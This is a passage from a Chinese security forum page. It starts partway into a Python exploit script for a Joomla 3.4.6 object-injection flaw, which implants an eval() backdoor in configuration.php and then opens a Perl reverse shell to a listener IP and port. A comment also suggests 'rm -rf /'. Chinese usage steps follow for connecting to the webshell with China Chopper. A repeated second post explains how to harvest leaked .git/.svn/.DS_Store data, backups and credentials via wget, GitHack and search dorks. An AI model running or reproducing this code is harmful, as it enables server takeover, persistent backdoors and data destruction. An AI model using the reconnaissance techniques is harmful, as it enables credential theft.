        # Following payload will append an eval() at the enabled of the configuration file
        #payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def make_req(url , object_payload):
        # just make a req with object
        print_info('Getting Session Cookie ..')
        cook = get_cook(url)
        print_info('Getting CSRF Token ..')
        csrf = get_token( url, cook)
 
        user_payload = '\\0\\0\\0' * 9
        padding = 'AAA' # It will land at this padding
        working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
        clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
 
        inj_object = '";'
        inj_object += object_payload
        inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
        password_payload = padding + inj_object
        params = {
            'username': user_payload,
            'password': password_payload,
            'option':'com_users',
            'task':'user.login',
            csrf :'1'
            }
 
        print_info('Sending request ..')
        resp  = requests.post(url, proxies = PROXS, cookies = cook,data=params)
        return resp.text
 
def get_backdoor_pay():
        # This payload will backdoor the the configuration .PHP with an eval on POST request
 
        function = 'assert'
        template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
        # payload =  command + ' || $a=\'http://wtf\';'
        # Following payload will append an eval() at the enabled of the configuration file
        payload =  'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
        function_len = len(function)
        final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
        return final
 
def check(url):
        check_string = random_string(20)
        target_url = url + 'index.php/component/users'
        html = make_req(url, gen_pay('print_r',check_string))
        if check_string in html:
                return True
        else:
                return False
 
def ping_backdoor(url,param_name):
        res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
        if 'PWNED' in res.text:
                return True
        return False
 
def execute_backdoor(url, payload_code):
        # Execute PHP code from the backdoor
        res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
        print(res.text)
 
def exploit(url, lhost, lport):
        # Exploit the target
        # Default exploitation will append en eval function at the end of the configuration.pphp
        # as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
        # e.g. get_payload('system','rm -rf /')
 
        # First check that the backdoor has not been already implanted
        target_url = url + 'index.php/component/users'
 
        make_req(target_url, get_backdoor_pay())
        if ping_backdoor(url, backdoor_param):
                print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
                print_info('Now it\'s time to reverse, trying with a system + perl')
                execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
 
 
if __name__ == '__main__':
        parser = argparse.ArgumentParser()
        parser.add_argument('-t','--target',required=True,help='Joomla Target')
        parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
        parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
        parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
        parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
        args = vars(parser.parse_args())
 
        url = args['target']
        if(check(url)):
                print_ok('Vulnerable')
                if args['exploit']:
                        exploit(url, args['lhost'], args['lport'])
                else:
                        print_info('Use --exploit to exploit it')
 
        else:
                print_error('Seems NOT Vulnerable ;/')


如果检测结果中有 "Vulnerable" 这个字符串,则说漏洞存在

4.png

 
之后就可以进行漏洞的利用了,执行脚本插入一句话木马如图: -l 是服务器ip -p 是随意一个未被占用的端口

7.png

 
进入configration.php 查看一句木马是否插入成功

5.png

 
如图插入成功 ,用菜刀尝试连接
url:http://127.0.0.1/joomla3.4.6//configuration.php
密码为生成的随机值:cpfdbhjnildsblnnowyosoawezaupqwevpahznwjmeyzejuktl

6.png

 
连接成功

判定敏感数据小结

lzy_smile 发表了文章 • 0 个评论 • 395 次浏览 • 2019-12-13 12:00 • 来自相关话题

我们在对某些网站进行渗透的时候,经常在发现某些信息的时候无法判断其是否是敏感信息,由此写出这篇文章.如果文章中有不足之处,请在文章下面留言,
 
敏感数据包括但不限于:
口令、密钥、证书、会话标识、License、隐私数据(如短消息的内容)、授权凭据、个人数据(如姓名、住址、电话等)等,在程序文件、配置文件、日志文件、备份文件及数据库中都有可能包含敏感数据。主要分为由版本管理软件导致的泄露, 文件包含导致的泄露和配置错误导致的泄露.
 
web敏感信息泄露
1.备份文件泄漏在外网
编辑器或者人员在编辑文件时,产生的临时文件,如vim自动保存为.swp后缀、UltrlEditor自动保存.bak后缀等,这些文件会泄漏源代码或者敏感信息
http://[ip]/test.php.swp vim保存的
http://[ip]/test.php.bak UltrlEditor自动保存





 
http://[ip]/test.jsp.old
OLD是某些文件发生变化时系统自动将改动前的文件变成OLD文件.这些文件包含的是原来的系统的文件
 
诸如wwwroot.zip等网站的备份压缩文件





 
.sql文件 等数据库文件 寻找数据库的用户名和密码以及后台的管理的用户名和密码
 
2.HTTP认证漏洞泄露
http://[ip]/basic/index.php
[Web 目录开启了Http Basic认证,但是未限制IP,导致可暴力破解账号和密码]
 
3.版本管理软件造成的泄露
(1).git
git可以说是当今最受欢迎的版本控制/版本管理软件了, 很多基于git的云端托管仓库都提供了
免费的托管服务, 甚至有不少还支持免费私有仓库, 如bitbucket和国内的gitosc(开源中国)等.
 
关键文件
git在初始化项目的时候, 会在项目的根目录(可用git rev-parse --show-toplevel查看)创建一个名为
.git的隐藏文件夹, 里面包含了本地所有commit的历史记录. 如果无意间将这个目录置于WEB的路径下让用户可以访问,
那么也就泄露了几乎所有的源代码和其他其他敏感信息.
 
泄露内容
所有该项目的源代码
私有仓库的地址
私密的配置信息
所有commiter的邮箱帐号信息
(可能)内部的帐号和密码
利用方法
1.常规的利用方法就是下载整个目录, 然后用git命令回滚整个项目:
wget --mirror --include-directories=/.git http://www.xxxvou.com/.git





 
2.GitHack是.git文件夹泄露漏洞。它从.git文件夹重建源代码,同时保持目录结构不变。
这是个python文件,可以直接打包下载





 
下载地址:https://github.com/lijiejie/GitHack
寻找.git目录
1.扫描工具可以扫出来.7kbscan
2.使用插件.SensinfoFinder
https://github.com/Passer6y/SensinfoFinder.git
(2).svn,
即Subversion, 在github之前曾经也是炙手可热的版本管理工具, 虽然已经日渐式微, 但在很多国企,
研究院等地方依然是作为版本管理的主要工具. 对于一些历史悠久的项目, 比如LLVM, 出于历史原因,
也是主要使用svn管理源代码.
关键文件
svn同样在项目根目录下会创建一个名为.svn的隐藏文件夹, 包含了所有分支commit信息和代码记录.
泄露内容
所有该项目的源代码
svn仓库的地址
svn仓库所属用户的用户名
...
利用方法
同样是先下载目录, 然后回滚:
wget -r --no-parent --mirror http://www.example.com/.svn
 
.DS_Store文件泄露(mac os系统)
.DS_Store(Desktop Services Store)是macOS目录下的隐藏文件, 包含了当前目录结构和一些的自定义信息,
如背景和图标位置等, 在windows下类似的文件为desktop.ini. 暴露了.DS_Store文件也就相当于暴露了该目录下的所有内容.
可以说是比较严重的泄露.
利用方法
.DS_Store的格式为二进制, 内部数据结构为Proprietary格式,
可以使用ds_store_exp自行解析并递归下载所有文件,下载地址:
https://github.com/lijiejie/ds_store_exp
 
4.泄露邮箱、号码等生成爆破字典
 
5.错误页面暴露信息





 
6.mysql错误、php错误、暴露CMS版本类型等
某大型网站的sql语句报错





 
7.robots.txt
某li的robots.txt





 
 
网络信息泄露
 
运维监控系统弱口令、网络拓扑泄露等
对于很多大型公司来讲,网络的稳定性,会直接影响到公司的收益。
比如,双十一的阿里巴巴,京东等等。如果这个时候网络出现问题,对于公司的损失将会是不可估量的。
所以获取到他内部的网络拓扑图的更容易让攻击者对其进行渗透.
 
 










 
第三方软件应用
github上源码、数据库、邮箱密码泄露
Github搜索
搜索关键字
qq.com pass
这个sql文件包含了用户的敏感信息,





 
数据库信息
mssql pass +目标名称
 





 
第三方社交软件:qq和微信等.
某些测试的qq群可能会把一些测试用的账号给传上去,还有一些文档,可能包含敏感信息







 
 
Google搜索
Google搜索名称 说明 例子
intitle 标题中的关键字 intile:”锤子科技”
intext 正文中的关键字 intext:”xx公司后台”
inurl 域名 inurl:”/qq.com”
filetype 文件类型 filetype:pdf
 
在平常对某些目标进行漏洞挖掘的时候,可以参考本篇文章判断拿到的信息是否为敏感信息.当然可以参考文章中的敏感信息分类,对目标进行进一步的信息收集.当然在信息收集的时候,要注意.文中提到的第三方软件像QQ和微信等方式,在使用之前要先了解SRC是否允许使用该种手段. 查看全部
我们在对某些网站进行渗透的时候,经常在发现某些信息的时候无法判断其是否是敏感信息,由此写出这篇文章.如果文章中有不足之处,请在文章下面留言,
 
敏感数据包括但不限于:
口令、密钥、证书、会话标识、License、隐私数据(如短消息的内容)、授权凭据、个人数据(如姓名、住址、电话等)等,在程序文件、配置文件、日志文件、备份文件及数据库中都有可能包含敏感数据。主要分为由版本管理软件导致的泄露, 文件包含导致的泄露和配置错误导致的泄露.
 
web敏感信息泄露
1.备份文件泄漏在外网
编辑器或者人员在编辑文件时,产生的临时文件,如vim自动保存为.swp后缀、UltrlEditor自动保存.bak后缀等,这些文件会泄漏源代码或者敏感信息
http://[ip]/test.php.swp vim保存的
http://[ip]/test.php.bak UltrlEditor自动保存

1.png

 
http://[ip]/test.jsp.old
OLD是某些文件发生变化时系统自动将改动前的文件变成OLD文件.这些文件包含的是原来的系统的文件
 
诸如wwwroot.zip等网站的备份压缩文件

2.png

 
.sql文件 等数据库文件 寻找数据库的用户名和密码以及后台的管理的用户名和密码
 
2.HTTP认证漏洞泄露
http://[ip]/basic/index.php
[Web 目录开启了Http Basic认证,但是未限制IP,导致可暴力破解账号和密码]
 
3.版本管理软件造成的泄露
(1).git
git可以说是当今最受欢迎的版本控制/版本管理软件了, 很多基于git的云端托管仓库都提供了
免费的托管服务, 甚至有不少还支持免费私有仓库, 如bitbucket和国内的gitosc(开源中国)等.
 
关键文件
git在初始化项目的时候, 会在项目的根目录(可用git rev-parse --show-toplevel查看)创建一个名为
.git的隐藏文件夹, 里面包含了本地所有commit的历史记录. 如果无意间将这个目录置于WEB的路径下让用户可以访问,
那么也就泄露了几乎所有的源代码和其他其他敏感信息.
 
泄露内容
所有该项目的源代码
私有仓库的地址
私密的配置信息
所有commiter的邮箱帐号信息
(可能)内部的帐号和密码
利用方法
1.常规的利用方法就是下载整个目录, 然后用git命令回滚整个项目:
wget --mirror --include-directories=/.git http://www.xxxvou.com/.git

3.png

 
2.GitHack是.git文件夹泄露漏洞。它从.git文件夹重建源代码,同时保持目录结构不变。
这是个python文件,可以直接打包下载

4.png

 
下载地址:https://github.com/lijiejie/GitHack
寻找.git目录
1.扫描工具可以扫出来.7kbscan
2.使用插件.SensinfoFinder
https://github.com/Passer6y/SensinfoFinder.git
(2).svn,
即Subversion, 在github之前曾经也是炙手可热的版本管理工具, 虽然已经日渐式微, 但在很多国企,
研究院等地方依然是作为版本管理的主要工具. 对于一些历史悠久的项目, 比如LLVM, 出于历史原因,
也是主要使用svn管理源代码.
关键文件
svn同样在项目根目录下会创建一个名为.svn的隐藏文件夹, 包含了所有分支commit信息和代码记录.
泄露内容
所有该项目的源代码
svn仓库的地址
svn仓库所属用户的用户名
...
利用方法
同样是先下载目录, 然后回滚:
wget -r --no-parent --mirror http://www.example.com/.svn
 
.DS_Store文件泄露(mac os系统)
.DS_Store(Desktop Services Store)是macOS目录下的隐藏文件, 包含了当前目录结构和一些的自定义信息,
如背景和图标位置等, 在windows下类似的文件为desktop.ini. 暴露了.DS_Store文件也就相当于暴露了该目录下的所有内容.
可以说是比较严重的泄露.
利用方法
.DS_Store的格式为二进制, 内部数据结构为Proprietary格式,
可以使用ds_store_exp自行解析并递归下载所有文件,下载地址:
https://github.com/lijiejie/ds_store_exp
 
4.泄露邮箱、号码等生成爆破字典
 
5.错误页面暴露信息

5.png

 
6.mysql错误、php错误、暴露CMS版本类型等
某大型网站的sql语句报错

6.png

 
7.robots.txt
某li的robots.txt

7.png

 
 
网络信息泄露
 
运维监控系统弱口令、网络拓扑泄露等
对于很多大型公司来讲,网络的稳定性,会直接影响到公司的收益。
比如,双十一的阿里巴巴,京东等等。如果这个时候网络出现问题,对于公司的损失将会是不可估量的。
所以获取到他内部的网络拓扑图的更容易让攻击者对其进行渗透.
 
 

8.png


9.png

 
第三方软件应用
github上源码、数据库、邮箱密码泄露
Github搜索
搜索关键字
qq.com pass
这个sql文件包含了用户的敏感信息,

10.png

 
数据库信息
mssql pass +目标名称
 

11.png

 
第三方社交软件:qq和微信等.
某些测试的qq群可能会把一些测试用的账号给传上去,还有一些文档,可能包含敏感信息


12.png


 
 
Google搜索
Google搜索名称 说明 例子
intitle 标题中的关键字 intile:”锤子科技”
intext 正文中的关键字 intext:”xx公司后台”
inurl 域名 inurl:”/qq.com”
filetype 文件类型 filetype:pdf
 
在平常对某些目标进行漏洞挖掘的时候,可以参考本篇文章判断拿到的信息是否为敏感信息.当然可以参考文章中的敏感信息分类,对目标进行进一步的信息收集.当然在信息收集的时候,要注意.文中提到的第三方软件像QQ和微信等方式,在使用之前要先了解SRC是否允许使用该种手段.